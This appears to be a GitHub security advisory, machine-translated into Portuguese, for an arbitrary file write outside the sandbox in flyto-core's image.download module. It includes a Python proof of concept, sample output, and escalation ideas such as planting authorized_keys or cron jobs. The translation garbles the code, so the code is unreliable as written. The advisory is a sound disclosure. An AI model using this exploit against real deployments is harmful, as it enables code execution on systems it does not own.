`image.download` capta um URL e escreve a resposta ao disco. Ele não usa o path guard central (`validate_path_with_env_config`, que limita escreve para `FLYTO_SANDBOX_ DIR`); em vez disso, limita a saída para `output_ dir`, mas `output_ dir` é em si mesmo um parâmetro de chamada. Como o atacante define tanto o alvo como a base contra a qual está marcado, a verificação não tem sentido, e os bytes controlados pelo atacante (a resposta HTTP) se encontram em qualquer caminho absoluto que o processo possa escrever. `src/core/modules/atomic/image/download.py`. ```python output_path = params.get('output_path') output_dir = params.get('output_dir', '/tmp') # caller-controled base... base_real = os.path.realpath(output_dir) target_real = os.path.realpath(output_path) se os.path.commonpath([base_real, target_real])!= base_real: levantar Exceção('O caminho do arquivo inválido') # base é o atacante-escolhido, por isso sempre passa... conteúdo = espera resposta. leia() # atacante-hosped bytes com open(tar_real, 'wb') como f: f.write(content) ``` `commonpath` é usado corretamente, mas a base é fornecida pelo chamador, assim que a definição `output_dir='/'' passa por qualquer alvo. `file.write`, por contra, usa `validate_path_with_env_config()` e permanece dentro `FLYTO_SANDBOX_DIR`.
Isto não está isolado para `image.download`. A maioria dos outros módulos de escrita de arquivos escreve para um chamador `output_path` sem cheque de caminho: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` e `browser.pagination`. Seu conteúdo é limitado ao formato (um PNG/XLSX/SVG/PDF válido), mas o caminho é totalmente escolhido pelo atacante; `image.download` é o mais forte porque os bytes são arbitrários. Salvar como `filewrite_poc.py`, executar com `PYTHONPATH=src/src python filewrite_poc.py`. Ele define `FLYTO_SANDBOX_DIR` para um dir de sandbox e escreve para um diretório de irmãos fora dele. ```python #!/usr/bin/env python 3 importar asyncio importar os importar o arquivo de importação de roscas de importação de http.server importar BaseHTTPRequestHandler, HTTPServer.
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # deixe o hospedeiro de conteúdo passar o controle de SSRF EVIL = b"#!/bin/sh\n# conteúdo controlado pelo atacante escrito fora da caixa de areia\necho pwned\n" Class Content(BaseHTTPRequestHandler): def do_GET( self): self.send_response( 200 ); self.send_header("Content-Type", "image/ jpeg") self.send_header("Content-Longth", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL) def log_message( self, *a): passe.
async def run(mid, params): from core.modules.registry import ModuleTestar de registro: de retorno ("RESULTAR", aguarde ModuleRegistry.execute(mid, params=params, context={})) exceto Exceção como e: de retorno ("EXC", f"{tipo(e).__name__}: {e}") async def main(): from core.modules.atômic import register_all register_all() threading.Thread(target=HTTPServer((" 127.0.0.1 ", 8080 ), Conteúdo.serve_forever, daemon=True.start() root = tempfile.mkdtemp(prefix="flyto_poc_") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTO_SANDBOX_DIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE o sandbox print("A) file.write:", aguarde run("file.write", {"path": alvo, "content": "x"}) print("B) image.download:", aguarde run("image.download", {": 8080 /x.jpg", "output_dir": escape, "output_path": alvo}) print("ficheiro escrito fora da caixa de areia?", os.path.exists(alvo)) se os.path.exists(alvo): print("conteúdo:", open(alvo, "rb").read()).
se __nom__== "__main__": asyncio.run(main()) ```. ``` A) arquivo. escreva: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Caminho escapa do diretório base: /ESCAPE/pwned...') B) imagem. download: ('RESULTA', {'ok': Verdadeiro, 'caminho': ' / ESCAPE/ pwned', 'tamanho': 79,...}) arquivo escrito fora da caixa de areia? Conteúdo verdadeiro: b'#!/bin/sh\n# conteúdo controlado pelo atacante escrito fora do sandbox\ necho pwned\n' ``` `file.write` recusa o caminho fora de caixa de areia; `image.download` escreve bytes do atacante lá. Reproduzida também através da API HTTP em execução.
Reachability (por que isso não é auto-serviço do operador). `output_dir`, `output_path` e `url` não são fornecidos pelo operador confiável. Cada módulo não- listado é exposto a um agente de IA através da ferramenta MCP genérica `execute_module(module_id, params)` (`core/mcp_handler.py`, `params` tirado dos `argumentos' do modelo e para clientes hosted- API, por isso estes parâmetros são escolhidos pelo LLM (que processa conteúdo não confiável) ou um cliente remoto. `FLYTO_ SANDBOX_ DIR` e o guarda `file.write` usa especificamente para limitar as operações de arquivos a um diretório que o chamador não pode mudar; este módulo ignora aquele confinamento e permite que o chamador escolha tanto o alvo como a base em que está verificado. Derrotar um controle de confinamento que o fornecedor construiu é um erro, não um comportamento pretendido. Escreva conteúdo arbitrário para um caminho arbitrário fora da caixa de areia do operador — sobrescrever configuração, soltar um perfil de shell, cron job ou `authorized_keys`, ou substituir um módulo Python, levando à execução de código em implantações típicas. O URL está marcado com SSRF, então o atacante hospeda a carga útil em seu próprio servidor público (o que o guarda permite).
Use `validate_path_with_env_config()` para cada módulo que escreve arquivos, então todas as escreveções estão confinadas a `FLYTO_SANDBOX_DIR` (uma base que o chamador não pode mudar), nunca a um chamador fornecido `output_dir`. Registro de aconselhamento: GHSA- 2956 - 977 x- 2 w 3 r. Identificadores relacionados: CVE- 2026 - 67429.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 30 T 14: 46: 43.000 Z e lista a sua última modificação como 2026 - 07 - 30 T 14: 46: 43.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H.
Informações sobre software e versão afetadas: pacote flyto-core do PyPI — ECOSISTEM: introduzido 0, corrigido 2.26.7. Classificação e evidência: identificadores de fraqueza CWE- 22, CWE- 73. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.